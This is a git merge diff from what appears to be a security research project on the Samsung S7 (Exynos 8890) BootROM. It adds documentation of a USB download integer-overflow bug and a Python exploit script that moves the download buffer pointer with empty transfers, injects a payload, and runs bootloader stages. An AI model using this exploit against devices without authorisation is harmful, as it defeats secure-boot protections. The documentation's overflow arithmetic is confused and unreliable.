Merge branch 'main' of https://git.herreweb.nl/EljakimHerrewijnen/Samsung_S7
2
.gitignore
vendored
@ -2,3 +2,5 @@ dump/
|
|||||||
*.bin
|
*.bin
|
||||||
*.a
|
*.a
|
||||||
venv/
|
venv/
|
||||||
|
reven/
|
||||||
|
!dump/exynos-usbdl/
|
||||||
|
@ -10,3 +10,5 @@ pip install -r requirements.txts
|
|||||||
```
|
```
|
||||||
|
|
||||||
To get to work, run `source/exploit/exploit.py`
|
To get to work, run `source/exploit/exploit.py`
|
||||||
|
|
||||||
|
To view documentation, ensure you have sphinx installed. If not, run `sudo apt install python3-sphinx`. Then proceed to build the documentation by running `make livehtml`.
|
@ -3,11 +3,127 @@ Booting
|
|||||||
=======
|
=======
|
||||||
After exploitation the goal is to fully boot the device.
|
After exploitation the goal is to fully boot the device.
|
||||||
|
|
||||||
|
Current boot chain:
|
||||||
|
|
||||||
|
.. figure:: images/boot_chain.drawio.svg
|
||||||
|
:align: center
|
||||||
|
|
||||||
|
Boot chain
|
||||||
|
|
||||||
debugger
|
debugger
|
||||||
========
|
========
|
||||||
Some other information about the debugger and it's current state.
|
Some other information about the debugger and it's current state.
|
||||||
|
|
||||||
ROM
|
bl1
|
||||||
---
|
===
|
||||||
|
|
||||||
|
Loads at address ``0x02024000`` and contains some form of header.
|
||||||
|
There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary.
|
||||||
|
In this case this entry is ``+0x10`` so we jump to ``0x02024010``.
|
||||||
|
|
||||||
|
.. code-block:: python
|
||||||
|
|
||||||
|
fwbl1 = open("../S7/bl1.bin", "rb").read()
|
||||||
|
self.cd.memwrite_region(0x02024000, fwbl1)
|
||||||
|
|
||||||
|
def jump_fwbl1():
|
||||||
|
self.cd.arch_dbg.state.LR = 0x2069000
|
||||||
|
self.cd.restore_stack_and_jump(0x02024010)
|
||||||
|
|
||||||
|
jump_fwbl1()
|
||||||
|
|
||||||
|
However, this does not result in a jump back to the debugger.
|
||||||
|
The reason for this is the following code in bl1:
|
||||||
|
|
||||||
|
.. code-block:: c
|
||||||
|
|
||||||
|
iVar3 = FUN_02024320();
|
||||||
|
if (iVar3 == 1) {
|
||||||
|
(*(code *)(ulong)uRam0000000002020108)(0,1);
|
||||||
|
}
|
||||||
|
|
||||||
|
This code uses a predefined ROM function(I was looking for it) and jumps back to that function when it's done.
|
||||||
|
This function is at address ``0x020200e8``, looking in our IMEM dump we can see where in the ROM this points to:
|
||||||
|
|
||||||
|
.. code-block:: c
|
||||||
|
|
||||||
|
DAT_02020108 XREF[2]: FUN_00001708:000018b4(W),
|
||||||
|
FUN_02021970:02021a40(R)
|
||||||
|
02020108 90 57 00 00 undefined4 00005790h
|
||||||
|
|
||||||
|
Replacing this function with our debugger makes us jump back:
|
||||||
|
|
||||||
|
.. code-block:: python
|
||||||
|
|
||||||
|
# Overwrite jump back
|
||||||
|
self.cd.memwrite_region(0x02020108, p32(0x2069000))
|
||||||
|
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
|
||||||
|
|
||||||
|
def jump_bl1():
|
||||||
|
self.cd.arch_dbg.state.LR = 0x2069000
|
||||||
|
self.cd.restore_stack_and_jump(0x02024010)
|
||||||
|
# self.cd.restore_stack_and_jump(0x02021810)
|
||||||
|
|
||||||
|
bl1 = open("../S7/bl1.bin", "rb").read()
|
||||||
|
self.cd.memwrite_region(0x02024000, bl1)
|
||||||
|
self.usb_write(b"FLSH")
|
||||||
|
|
||||||
|
# auth_bl1()
|
||||||
|
jump_bl1()
|
||||||
|
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
|
||||||
|
self.cd.arch_dbg.state.print_ctx()
|
||||||
|
|
||||||
|
root | DEBUG |
|
||||||
|
X0 : 0xc00000 | X1 : 0x2069000 | X2 : 0x0 | X3 : 0x2023114 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
|
||||||
|
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
|
||||||
|
X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x20200e8 | X20 : 0x0 |
|
||||||
|
X21 : 0x80000000 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
|
||||||
|
X28 : 0x0 | X29 : 0x2020ed8 | LR/X30 : 0x202419c | SP/X31 : 0x2020ec0
|
||||||
|
|
||||||
|
However this does not fully run bl1, so we will have to dig a bit deeper to see the puropose and when to jump back to the debugger.
|
||||||
|
|
||||||
|
purpose
|
||||||
|
-------
|
||||||
|
bl1 interacts with several pheriperals, from the DTB these are:
|
||||||
|
|
||||||
|
.. code-block:: dtsi
|
||||||
|
|
||||||
|
/* FSYS0 */
|
||||||
|
pinctrl_5: pinctrl@10E60000 {
|
||||||
|
compatible = "samsung,exynos8890-pinctrl";
|
||||||
|
reg = <0x0 0x10E60000 0x1000>;
|
||||||
|
interrupts = <0 212 0>;
|
||||||
|
};
|
||||||
|
|
||||||
|
/* FSYS1 */
|
||||||
|
pinctrl_6: pinctrl@15690000 {
|
||||||
|
compatible = "samsung,exynos8890-pinctrl";
|
||||||
|
reg = <0x0 0x15690000 0x1000>;
|
||||||
|
interrupts = <0 202 0>;
|
||||||
|
};
|
||||||
|
|
||||||
|
/* PERIC1 */
|
||||||
|
pinctrl_9: pinctrl@14CC0000 {
|
||||||
|
compatible = "samsung,exynos8890-pinctrl";
|
||||||
|
reg = <0x0 0x14CC0000 0x1000>;
|
||||||
|
interrupts = <0 460 0>;
|
||||||
|
};
|
||||||
|
|
||||||
|
pmu_system_controller: system-controller@105C0000 {
|
||||||
|
compatible = "samsung,exynos8890-pmu", "syscon";
|
||||||
|
reg = <0x0 0x105C0000 0x10000>;
|
||||||
|
};
|
||||||
|
|
||||||
|
rtc@10070000 {
|
||||||
|
compatible = "samsung,s3c6410-rtc";
|
||||||
|
reg = <0x0 0x10070000 0x100>;
|
||||||
|
interrupts = <0 73 0>, <0 74 0>;
|
||||||
|
clocks = <&clock 157>;
|
||||||
|
clock-names = "gate_rtc";
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
BL31
|
||||||
|
----
|
||||||
|
|
||||||
|
Setups EL3 stuff, probably in preperation of loading trustzone
|
After Width: | Height: | Size: 5.8 KiB |
BIN
documentation/source/BootROM_8890/images/dl_data_struct.png
Normal file
After Width: | Height: | Size: 166 KiB |
After Width: | Height: | Size: 262 KiB |
Before Width: | Height: | Size: 7.1 KiB After Width: | Height: | Size: 7.0 KiB |
After Width: | Height: | Size: 21 KiB |
After Width: | Height: | Size: 139 KiB |
@ -110,19 +110,55 @@ Other general device descriptors are also sent from the device to the host (to d
|
|||||||
|
|
||||||
Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ).
|
Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ).
|
||||||
|
|
||||||
Bug 1(Integer underflow)
|
Bug 1 (Integer overflow)
|
||||||
------------------------
|
------------------------
|
||||||
Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_.
|
Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_.
|
||||||
|
|
||||||
The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written.
|
The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written.
|
||||||
|
|
||||||
|
.. figure:: images/usb_setup_ready_to_0.png
|
||||||
|
|
||||||
|
The ready flag is set to 0 in the Exynos 8890 BootROM in an earlier function on pdVar1->size (pdVar1.size)
|
||||||
|
|
||||||
|
.. figure:: images/dl_data_struct.png
|
||||||
|
|
||||||
|
The dldata struct in the Exynos 8890 BootROM
|
||||||
|
|
||||||
.. code:: c
|
.. code:: c
|
||||||
if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) {
|
if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) {
|
||||||
*(undefined *)&pdVar1->ready = 2;
|
*(undefined *)&pdVar1->ready = 2;
|
||||||
}
|
}
|
||||||
|
|
||||||
In essence, in the first conditions, it checks whether the size is smaller than 0x206fff (`pdVar1->size < 0x206ffff`) (34013183 in decimal), and in the second condition, it checks whether 0x206ffff is smaller than the size + remaining (`0x206ffff < pdVar1->size + remaining`). If both conditions are met, the ready flag is set to 2, and the function below to execute the *payload*, will NOT execute!
|
In essence, the payload is not allowed to be larger than 0x206fff (34013183), it checks so with 2 seperate checks
|
||||||
|
1) In the first condition, the size has to be smaller than 0x206ffff (`pdVar1->size < 0x206ffff`) (34013183 in decimal),
|
||||||
|
2) and in the second condition, it checks whether 0x206ffff is indeed still less than the size of the payload + remaining (size + remaining)(`0x206ffff < pdVar1->size + remaining`).
|
||||||
|
|
||||||
|
If both conditions are met, the payload will NOT be loaded. But this makes sense, as both checks just ensure that the payload is not larger than 0x206ffff.
|
||||||
|
|
||||||
|
The bug is however, that the check that the check is done on a uint32_t (2^32 = 4294967296), but the max value that can be checked by a uint32 is 0xFDFDE7FF = 4294967295. So a value of 0xFDFDE7FF + 1 = 0xFDFDE800 = 4294967296, which is larger than the max value of a uint32. So if a payload of this size or more is used, which is much larger than the max requested value 0x206ffff, the check will pass and the payload will still be loaded.
|
||||||
|
|
||||||
|
.. figure:: images/usb_payload_size_check.jpeg
|
||||||
|
|
||||||
|
The size check in the Exynos 8890 BootROM
|
||||||
|
|
||||||
|
Sending such large amounts of data can cause a memory overflow, and will cause the target to crash. Not interesting for exploitation in this context. However, the USB packages that are sent, are split into smaller packages with a size of 0xFFFE00.
|
||||||
|
|
||||||
|
.. figure:: images/max_allowed_chunck_size.jpeg
|
||||||
|
|
||||||
|
The max allowed chunk size, after which the payload is split.
|
||||||
|
|
||||||
|
The dl_buf pointer is set to the amount it expects to write, instead to the amount that it has written. By transferring a large amount of data, without actually writing it (so in a package, send no data, but tell the target that you're sending data with a length larger than 0xFDFDE800), will cause the pointer to move, without actually writing data.
|
||||||
|
|
||||||
|
The trick then becomes, to get the pointer to an address we would like to exploit unto. Then we have a little less than 512 bytes (502 according to dldata) to write our payload.
|
||||||
|
|
||||||
|
.. code:: c
|
||||||
|
|
||||||
|
typedef struct dldata_s {
|
||||||
|
u_int32_t ready; //start = 02021518, end = 0202151C. Length = 4
|
||||||
|
u_int32_t size; //start = 0202151C, end = 02021520. Length = 4
|
||||||
|
u_int8_t data[n]; //start = 02021520, end = 02021714. Length = 502 == MAX TRANSFER SIZE
|
||||||
|
u_int16_t footer; //start = 02021714, end = 02021716. Length = 2
|
||||||
|
} dldata;
|
||||||
|
|
||||||
Bug 2
|
Bug 2
|
||||||
-----
|
-----
|
||||||
@ -131,7 +167,6 @@ Bug 2
|
|||||||
|
|
||||||
Might be a 0/N-day if exploitable
|
Might be a 0/N-day if exploitable
|
||||||
|
|
||||||
|
|
||||||
@ELHER
|
@ELHER
|
||||||
|
|
||||||
There is a bug(unpatched?) in receiving the last packet of the usb image:
|
There is a bug(unpatched?) in receiving the last packet of the usb image:
|
||||||
|
@ -14,7 +14,6 @@ author = 'Eljakim, Jonathan'
|
|||||||
# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration
|
# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration
|
||||||
|
|
||||||
extensions = [ 'myst_parser',
|
extensions = [ 'myst_parser',
|
||||||
'sphinx_rtd_theme',
|
|
||||||
'sphinx.ext.todo',
|
'sphinx.ext.todo',
|
||||||
'sphinxcontrib.confluencebuilder',
|
'sphinxcontrib.confluencebuilder',
|
||||||
"sphinxcontrib.drawio",
|
"sphinxcontrib.drawio",
|
||||||
|
@ -1,3 +1,13 @@
|
|||||||
|
sphinx
|
||||||
|
sphinx-autobuild
|
||||||
sphinx-rtd-theme
|
sphinx-rtd-theme
|
||||||
sphinxcontrib.confluencebuilder
|
sphinxcontrib.confluencebuilder
|
||||||
sphinxcontrib.drawio
|
sphinxcontrib.drawio
|
||||||
|
myst_parser
|
||||||
|
libusb1
|
||||||
|
pyusb
|
||||||
|
ghidra_bridge
|
||||||
|
tqdm
|
||||||
|
pyhidra
|
||||||
|
sphinxcontrib.confluencebuilder
|
||||||
|
sphinxcontrib.drawio
|
@ -1,9 +1,9 @@
|
|||||||
#Ghidra Lock File
|
#Ghidra Lock File
|
||||||
#Sat Aug 03 17:14:04 CEST 2024
|
#Fri Aug 09 11:27:43 CEST 2024
|
||||||
OS\ Name=Linux
|
OS\ Name=Linux
|
||||||
OS\ Version=6.5.0-44-generic
|
OS\ Version=6.5.0-44-generic
|
||||||
Username=eljakim
|
Username=eljakim
|
||||||
Hostname=levith
|
Hostname=levith
|
||||||
<META>\ Supports\ File\ Channel\ Locking=Channel Lock
|
<META>\ Supports\ File\ Channel\ Locking=Channel Lock
|
||||||
OS\ Architecture=amd64
|
OS\ Architecture=amd64
|
||||||
Timestamp=8/3/24, 5\:14 PM
|
Timestamp=8/9/24, 11\:27 AM
|
||||||
|
@ -1,11 +1,13 @@
|
|||||||
VERSION=1
|
VERSION=1
|
||||||
/
|
/
|
||||||
00000002:8890_bootrom.bin:7f0119bc3142241939494339
|
00000006:8890_bootrom.bin:7f0119bc3142241939494339
|
||||||
|
00000002:8890_bootrom.bin.keep:7f011889d240069673442230
|
||||||
/mib3
|
/mib3
|
||||||
00000000:full_boot:7f0118059140616855428589
|
00000000:full_boot:7f0118059140616855428589
|
||||||
/s7
|
/s7
|
||||||
|
00000007:fwbl1.bin:7f011a0d5252765509589854
|
||||||
00000003:sboot.bin.2.bin:7f011ab837995028720085
|
00000003:sboot.bin.2.bin:7f011ab837995028720085
|
||||||
00000004:sboot.bin.3.bin:7f011872b8163836628792
|
00000004:sboot.bin.3.bin:7f011872b8163836628792
|
||||||
00000005:sboot.bin.4.bin:7f011842b8231996037592
|
00000005:sboot.bin.4.bin:7f011842b8231996037592
|
||||||
NEXT-ID:6
|
NEXT-ID:8
|
||||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||||
|
@ -1,11 +1,13 @@
|
|||||||
VERSION=1
|
VERSION=1
|
||||||
/
|
/
|
||||||
00000002:8890_bootrom.bin:7f0119bc3142241939494339
|
00000006:8890_bootrom.bin:7f0119bc3142241939494339
|
||||||
|
00000002:8890_bootrom.bin.keep:7f011889d240069673442230
|
||||||
/mib3
|
/mib3
|
||||||
00000000:full_boot:7f0118059140616855428589
|
00000000:full_boot:7f0118059140616855428589
|
||||||
/s7
|
/s7
|
||||||
00000003:sboot.bin.2.bin:7f011ab837995028720085
|
00000007:bl1.bin:7f011a0d5252765509589854
|
||||||
|
00000003:bl31.bin:7f011ab837995028720085
|
||||||
00000004:sboot.bin.3.bin:7f011872b8163836628792
|
00000004:sboot.bin.3.bin:7f011872b8163836628792
|
||||||
00000005:sboot.bin.4.bin:7f011842b8231996037592
|
00000005:sboot.bin.4.bin:7f011842b8231996037592
|
||||||
NEXT-ID:6
|
NEXT-ID:8
|
||||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||||
|
@ -1,8 +1,9 @@
|
|||||||
VERSION=1
|
VERSION=1
|
||||||
/
|
/
|
||||||
00000000:udf_7f0118059140616855428589:7f0118d0b142268235940037
|
00000000:udf_7f0118059140616855428589:7f0118d0b142268235940037
|
||||||
|
00000004:udf_7f011842b8231996037592:7f01190f112184430945139
|
||||||
00000003:udf_7f011872b8163836628792:7f011a9478217161533597
|
00000003:udf_7f011872b8163836628792:7f011a9478217161533597
|
||||||
00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045
|
00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045
|
||||||
00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603
|
00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603
|
||||||
NEXT-ID:4
|
NEXT-ID:5
|
||||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||||
|
@ -4,6 +4,7 @@ VERSION=1
|
|||||||
00000004:udf_7f011842b8231996037592:7f01190f112184430945139
|
00000004:udf_7f011842b8231996037592:7f01190f112184430945139
|
||||||
00000003:udf_7f011872b8163836628792:7f011a9478217161533597
|
00000003:udf_7f011872b8163836628792:7f011a9478217161533597
|
||||||
00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045
|
00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045
|
||||||
|
00000005:udf_7f011a0d5252765509589854:7f0118e15255467845445248
|
||||||
00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603
|
00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603
|
||||||
NEXT-ID:5
|
NEXT-ID:6
|
||||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||||
|
@ -1,2 +1,2 @@
|
|||||||
IADD:00000004:/udf_7f011842b8231996037592
|
IADD:00000005:/udf_7f011a0d5252765509589854
|
||||||
IDSET:/udf_7f011842b8231996037592:7f01190f112184430945139
|
IDSET:/udf_7f011a0d5252765509589854:7f0118e15255467845445248
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
import usb.util
|
import usb.util, usb.core
|
||||||
import struct, sys, usb1, libusb1, ctypes, usb, argparse
|
import struct, sys, usb1, libusb1, ctypes, usb, argparse
|
||||||
from keystone import *
|
from keystone import *
|
||||||
from capstone import *
|
from capstone import *
|
||||||
@ -24,17 +24,17 @@ logger.setLevel(logging.DEBUG)
|
|||||||
|
|
||||||
BLOCK_SIZE = 512
|
BLOCK_SIZE = 512
|
||||||
CHUNK_SIZE = 0xfffe00
|
CHUNK_SIZE = 0xfffe00
|
||||||
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)
|
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)
|
||||||
|
|
||||||
DL_BUFFER_START = 0x02021800
|
DL_BUFFER_START = 0x02021800
|
||||||
DL_BUFFER_SIZE = 0x4E800 #0x02070000 End
|
DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000
|
||||||
|
|
||||||
BOOTROM_START = 0x0
|
BOOTROM_START = 0x0
|
||||||
BOOTROM_SIZE = 0x20000 #128Kb
|
BOOTROM_SIZE = 0x20000 #128Kb
|
||||||
|
|
||||||
TARGET_OFFSETS = {
|
TARGET_OFFSETS = {
|
||||||
# XFER_BUFFER, RA_PTR, XFER_END_SIZE
|
# XFER_BUFFER, RA_PTR, XFER_END_SIZE
|
||||||
"8890": (0x02021800, 0x02020F08, 0x02070000),
|
"8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
|
||||||
"8895": (0x02021800, 0x02020F18, 0x02070000)
|
"8895": (0x02021800, 0x02020F18, 0x02070000)
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -54,18 +54,18 @@ class ExynosDevice():
|
|||||||
self.connect_device()
|
self.connect_device()
|
||||||
|
|
||||||
def connect_device(self):
|
def connect_device(self):
|
||||||
|
"""Wait for proper connection to the device"""
|
||||||
self.context = usb1.USBContext()
|
self.context = usb1.USBContext()
|
||||||
while True:
|
while True:
|
||||||
self.handle = self.context.openByVendorIDAndProductID(
|
self.handle = self.context.openByVendorIDAndProductID(
|
||||||
vendor_id=self.idVendor,
|
vendor_id=self.idVendor,
|
||||||
product_id=self.idProduct,
|
product_id=self.idProduct,
|
||||||
skip_on_error=True
|
skip_on_error=False
|
||||||
)
|
)
|
||||||
if self.handle == None:
|
if self.handle == None:
|
||||||
continue
|
continue
|
||||||
break
|
break
|
||||||
|
print(f"Connected device! {self.idVendor} {self.idProduct}")
|
||||||
print("Connected device!")
|
|
||||||
|
|
||||||
def write(self, data):
|
def write(self, data):
|
||||||
transferred = ctypes.c_int()
|
transferred = ctypes.c_int()
|
||||||
@ -100,6 +100,7 @@ class ExynosDevice():
|
|||||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def test_bug(self):
|
def test_bug(self):
|
||||||
# Start by sending a valid packet
|
# Start by sending a valid packet
|
||||||
# Integer overflow in the size field
|
# Integer overflow in the size field
|
||||||
@ -128,14 +129,16 @@ class ExynosDevice():
|
|||||||
|
|
||||||
def exploit(self, payload: bytes):
|
def exploit(self, payload: bytes):
|
||||||
'''
|
'''
|
||||||
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload
|
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
|
||||||
'''
|
'''
|
||||||
current_offset = TARGET_OFFSETS[self.target][0]
|
current_offset = TARGET_OFFSETS[self.target][0]
|
||||||
|
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
|
||||||
transferred = ctypes.c_int()
|
transferred = ctypes.c_int()
|
||||||
|
|
||||||
size_to_overflow = 0x100000000 - current_offset + TARGET_OFFSETS[self.target][1] + 8 + 6
|
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
|
||||||
|
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
|
||||||
max_payload_size = 0x100000000 - size_to_overflow
|
max_payload_size = 0x100000000 - size_to_overflow
|
||||||
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE)
|
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
|
||||||
|
|
||||||
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
|
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
|
||||||
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
|
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
|
||||||
@ -152,7 +155,7 @@ class ExynosDevice():
|
|||||||
|
|
||||||
cnt = 0
|
cnt = 0
|
||||||
while True:
|
while True:
|
||||||
if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]:
|
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
|
||||||
break
|
break
|
||||||
self.send_empty_transfer()
|
self.send_empty_transfer()
|
||||||
current_offset += CHUNK_SIZE
|
current_offset += CHUNK_SIZE
|
||||||
@ -219,26 +222,82 @@ class ExynosDevice():
|
|||||||
Room for playing around with the debugger
|
Room for playing around with the debugger
|
||||||
'''
|
'''
|
||||||
self.cd.arch_dbg.state.auto_sync = False
|
self.cd.arch_dbg.state.auto_sync = False
|
||||||
|
self.cd.arch_dbg.state.auto_sync_special = False
|
||||||
self.cd.arch_dbg.state.print_ctx()
|
self.cd.arch_dbg.state.print_ctx()
|
||||||
|
|
||||||
|
def relocate_debugger():
|
||||||
|
# Seems to be cleared upon cache clearing??
|
||||||
|
debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
|
||||||
|
self.cd.memwrite_region(0x020c0000, debugger_reloc)
|
||||||
|
self.usb_write(b"FLSH") # Flush cache
|
||||||
|
self.cd.restore_stack_and_jump(0x020c0000)
|
||||||
|
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
||||||
|
self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
|
||||||
|
relocate_debugger()
|
||||||
|
|
||||||
|
# Try loading bl1
|
||||||
|
bl1 = open("../S7/bl1.bin", "rb").read()
|
||||||
|
self.cd.memwrite_region(0x02021800, bl1)
|
||||||
|
# self.usb_write(b"FLSH")
|
||||||
AUTH_BL1 = 0x00012848
|
AUTH_BL1 = 0x00012848
|
||||||
|
def auth_bl1(lr=0x2069000):
|
||||||
|
# Load the firmware
|
||||||
|
self.cd.arch_dbg.state.W0 = 1
|
||||||
|
self.cd.arch_dbg.state.X1 = 1
|
||||||
|
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
|
||||||
|
self.cd.restore_stack_and_jump(AUTH_BL1)
|
||||||
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||||
|
|
||||||
|
auth_bl1(0x020c0000)
|
||||||
|
|
||||||
|
# Works until here
|
||||||
|
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Overwrite jump back
|
||||||
|
self.cd.memwrite_region(0x02020108, p32(0x2069000))
|
||||||
|
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
|
||||||
|
|
||||||
def memdump_try():
|
def memdump_try():
|
||||||
dumped = b""
|
dumped = b""
|
||||||
for block in range(0x2020000, 0x2200000, 0x200):
|
for block in range(0x2020000, 0x2200000, 0x200):
|
||||||
print(hex(block))
|
print(hex(block))
|
||||||
dumped += self.cd.memdump_region(block, 0x200)
|
dumped += self.cd.memdump_region(block, 0x200)
|
||||||
|
|
||||||
def auth_bl1():
|
|
||||||
# Load the firmware
|
|
||||||
self.cd.arch_dbg.state.X0 = 1
|
|
||||||
self.cd.arch_dbg.state.X1 = 1
|
|
||||||
self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
|
|
||||||
self.cd.restore_stack_and_jump(AUTH_BL1)
|
|
||||||
|
|
||||||
fwbl1 = open("../S7/fwbl1.bin", "rb").read()
|
|
||||||
self.cd.memwrite_region(0x02021800, fwbl1)
|
def jump_bl1():
|
||||||
memdump_try()
|
self.cd.arch_dbg.state.LR = 0x2069000
|
||||||
|
self.cd.restore_stack_and_jump(0x02024010)
|
||||||
|
# self.cd.restore_stack_and_jump(0x02021810)
|
||||||
|
|
||||||
|
#000125b4
|
||||||
|
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
|
||||||
|
# self.cd.restore_stack_and_jump(0x00012814)
|
||||||
|
# self.cd.restore_stack_and_jump(0x000125b4)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
auth_bl1()
|
auth_bl1()
|
||||||
|
|
||||||
|
# auth_bl1()
|
||||||
|
jump_bl1()
|
||||||
|
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
|
||||||
|
self.cd.arch_dbg.state.print_ctx()
|
||||||
|
|
||||||
|
def jump_bl31():
|
||||||
|
self.cd.arch_dbg.state.LR = 0x2069000
|
||||||
|
self.cd.restore_stack_and_jump(0x02021810)
|
||||||
|
bl31 = open("../S7/bl31.bin", "rb").read()
|
||||||
|
self.cd.memwrite_region(0x02021800, bl31)
|
||||||
|
jump_bl31()
|
||||||
|
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
|
||||||
|
self.cd.arch_dbg.state.print_ctx()
|
||||||
|
|
||||||
|
# memdump_try()
|
||||||
|
# auth_bl1()
|
||||||
self.cd.arch_dbg.state.print_ctx()
|
self.cd.arch_dbg.state.print_ctx()
|
||||||
|
|
||||||
#authenticate it
|
#authenticate it
|
||||||
@ -303,15 +362,17 @@ def usb_debug():
|
|||||||
send_data()
|
send_data()
|
||||||
recv_data()
|
recv_data()
|
||||||
count += 1
|
count += 1
|
||||||
pass
|
|
||||||
pass
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
arg = argparse.ArgumentParser("Exynos exploit")
|
arg = argparse.ArgumentParser("Exynos exploit")
|
||||||
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
||||||
|
|
||||||
|
# Debug mode
|
||||||
args = arg.parse_args()
|
args = arg.parse_args()
|
||||||
if args.debug:
|
if args.debug:
|
||||||
usb_debug()
|
usb_debug()
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
exynos = ExynosDevice()
|
exynos = ExynosDevice()
|
||||||
exynos.run_boot_chain()
|
exynos.run_boot_chain()
|
||||||
|
@ -33,7 +33,8 @@ void recv_data(uint32_t address, uint32_t size){
|
|||||||
dwc3_ep0_start_trans(2, rbuf, 0x200);
|
dwc3_ep0_start_trans(2, rbuf, 0x200);
|
||||||
while(1){
|
while(1){
|
||||||
usb_event_handler();
|
usb_event_handler();
|
||||||
